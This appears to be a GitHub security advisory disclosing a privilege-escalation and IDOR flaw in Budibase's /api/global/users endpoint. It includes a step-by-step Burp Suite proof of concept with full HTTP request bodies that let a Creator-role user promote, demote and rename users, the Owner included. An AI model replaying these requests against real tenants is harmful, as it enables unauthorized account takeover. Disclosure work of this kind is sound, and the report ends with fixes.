Skip to content

Critical Privilege Escalation & IDOR via Missing RBAC on User Role Management (Creator-Role)

Critical
mjashanks published GHSA-2g39-332f-68p9 Mar 9, 2026

Package

Budibase App (SaaS) ( Web Application / SaaS)

Affected versions

https://hasinocompany.budibase.app

Patched versions

Not yet patched

Description

From: Hassan Ismail (manhasino@gmail.com

To: Budibase Security Team

Description

This issue is a combination of Vertical Privilege Escalation and IDOR (Insecure Direct Object Reference) due to missing server-side RBAC checks in the /api/global/users endpoints.

A Creator-level user, who should have no permissions to manage users or organizational roles, can instead:

Promote an App Viewer → Tenant Admin.

Demote a Tenant Admin → App Viewer.

Modify the Owner’s account details And All Orders (e.g., change name).

Because the API accepts these actions without validating the requesting role, a Creator can replay Owner-only requests using their own session tokens. This leads to full tenant compromise.

🔬 Technical Details
Expected Role Model

Owner / Tenant Admin: Manage users, apps, and settings.

Creator: Build apps only.

App Viewer: View published apps.

Broken Behavior

The /api/global/users endpoint does not enforce RBAC.

Owner-only requests can be replayed by a Creator with their own cookies/CSRF.

Server returns 200 OK and applies unauthorized changes.

Steps to Reproduce (POC)

  1. Capture a Real Owner Request

Log in as Owner.

In Burp Suite, intercept a request where the Owner:

Promotes an App Viewer → Tenant Admin.

Demotes a Tenant Admin → App Viewer.

Changes a user’s name.

Send these requests to Repeater and drop them (do not forward).

  1. Log in as Creator

Log out Owner.

Log in with a Creator role user.

Capture a benign Creator request, e.g. updating their own profile:

POST /api/global/self HTTP/2
Host: hasinocompany.budibase.app
Cookie: <creator_session_cookie>
X-Csrf-Token: <creator_csrf_token>

{"firstName":"creator","lastName":"user"}

  1. Replay Owner Request with Creator’s Session

Take the Owner requests captured in Step 1.
Replace the Cookie and X-Csrf-Token values with the Creator’s session tokens.
Send the requests from Burp Repeater.

Example A – Promote App Viewer → Tenant Admin
POST /api/global/users HTTP/2
Host: hasinocompany.budibase.app
Cookie: <creator_session_cookie>
X-Csrf-Token: <creator_csrf_token>
Content-Type: application/json

{
"_id": "us_appviewer12345",
"firstName": "AppViewUser",
"lastName": "Upgraded",
"email": "appviewer@gmail.com",
"admin": {"global": true},
"builder": {"global": true},
"roles": {}
}

Response:
200 OK → App Viewer is now Tenant Admin.

Example B – Demote Tenant Admin → App Viewer
POST /api/global/users HTTP/2
Host: hasinocompany.budibase.app
Cookie: <creator_session_cookie>
X-Csrf-Token: <creator_csrf_token>
Content-Type: application/json

{
"_id": "us_tenantadmin67890",
"firstName": "Tenant",
"lastName": "Demoted",
"email": "tenantadmin@gmail.com",
"admin": {"global": false},
"roles": {"app_hasinocompany_123456789": "BASIC"}
}

Response:
200 OK → Tenant Admin is now an App Viewer.

Example C – Change Owner’s Name
POST /api/global/users HTTP/2
Host: hasinocompany.budibase.app
Cookie: <creator_session_cookie>
X-Csrf-Token: <creator_csrf_token>
Content-Type: application/json

{
"_id": "us_owneraccountid",
"firstName": "Compromised",
"lastName": "Owner",
"email": "owner@gmail.com"
}

Response:
200 OK → Owner’s name successfully changed by a Creator.

  1. Verify in Owner Dashboard

Log back in as Owner.

Check the user management UI.

After Attack – Manipulated Organization Members
cyber@hasinosec.lat
Role: Account holder
Name: ownername iwillchange

hasinotester@gmail.com
Role: Tenant Admin
Name: iwillpromoteappview totenantadminmeasceator

zohobug12@gmail.com
Role: Creator
Name: zohoiiiis hoss

mummynabila1@gmail.com
Role: App User
Name: iwilldemote tenantadmintoappview

✅ Owner’s name changed.
✅ App User promoted to Tenant Admin.
✅ Tenant Admin demoted to App User.

This demonstrates full privilege manipulation by a Creator role user.

Video PoC

I attempted to upload a video demonstrating the privilege escalation PoC, but the file size exceeds GitHub’s 10 MB limit. Therefore, please check the video through this link:

https://drive.google.com/file/d/1HYFcvdDmX1VtIOPSOd75uCwlfzom49oG/view?usp=sharing

⚡ Impact (Critical Implications)

Complete takeover of tenant: A Creator can promote themselves or an attacker to Tenant Admin.

Arbitrary demotion of admins: Legitimate Tenant Admins can be downgraded to App Users.

Owner impersonation: Creator can modify Owner’s first/last name, damaging trust.

Business disruption: Attackers can strip all admins of rights, locking out legitimate access.

Data exfiltration: Elevated roles grant access to sensitive applications and databases.

Service abuse: Attackers can invite malicious users and assign them privileges.

Fraud & impersonation: Modified Owner/Admin identities could be exploited for social engineering.

Insider threat amplification: Any low-privilege user with Creator role can silently escalate.

Compliance risk: Violates principles of least privilege, impacting GDPR, SOC2, ISO27001 compliance.

Undetectable abuse: The UI does not log or display Creator-initiated role changes, making detection extremely hard.

This vulnerability rates Critical (10.0/10) due to low attack complexity, no user interaction required, and full impact on confidentiality, integrity, and availability.

OWASP Mapping

A01:2021 – Broken Access Control

A03:2021 – Injection (via unvalidated role parameters)

A04:2021 – Insecure Design

A05:2021 – Security Misconfiguration

A07:2021 – Identification & Authentication Failures

A08:2021 – Software & Data Integrity Failures

A09:2021 – Security Logging & Monitoring Failures

🛠️ Recommendations

Enforce strict server-side RBAC checks on /api/global/users.

Block Creator roles from sending user-modification requests.

Implement least privilege principle on backend logic.

Sanitize user input on role objects to prevent injection-like abuse.

Educate developers on OWASP API Security Top 10.

📝 Additional Notes

This issue allows not only unauthorized user creation but also direct manipulation of existing Tenant Admins and the Owner.

The vulnerability poses a higher risk than user invite abuse because it directly compromises privileged accounts.

AND THEN
(This my second critical bug that I reporting to the Budibase platform.)

Severity

Critical

CVE ID

CVE-2026-25045

Weaknesses

No CWEs

Credits